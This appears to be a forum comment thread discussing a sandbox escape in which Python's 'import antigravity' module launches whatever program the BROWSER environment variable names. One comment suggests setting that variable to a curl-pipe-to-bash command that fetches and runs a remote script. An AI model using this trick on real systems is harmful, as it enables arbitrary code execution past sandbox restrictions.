3 ms·

So... don't import antigravity, an obvious joke module.

• userbinator 6y ago
  Of course as a developer you (should) already have the power to run arbitrary code on your machine, so going through that route is silly. I think it's more in reference to locked-down environments like shared hosting, which want to run Python but restrict access to everything else. From that perspective, this ability looks like a sandbox escape.
  • neolog 6y ago
    If the environment allows executing a browser, it allows executing a browser. Whether python is involved is irrelevant.
    • RcouF1uZ4gsC 6y ago
      > If the environment allows executing a browser From my reading of this, it allows executing any executable you can put in the BROWSER environment
      • csunbird 6y ago
        Which you can set it to something like "curl $REMOTE_URL_WHERE_SCRIPT_IS_HOSTED | bash" and run arbitrary code.
      • neolog 6y ago
        Oh you're right.
  • NikolaeVarius 6y ago
    If a sandbox includes the ability to load a link via a browser via standard event handler, how the hell is that an escape
    • dnautics 6y ago
      it's an escape because you can load an arbitrary script into the command, and if the sandbox crafter didn't think to lock down `import antigravity` then you can escape the sandbox.
• cortesoft 6y ago
  I am confused by your point... the article is trying to hack a system where they can only set environment variables, and they found an environment variable that can import arbitrary modules. Are you trying to tell hackers to just not import the module?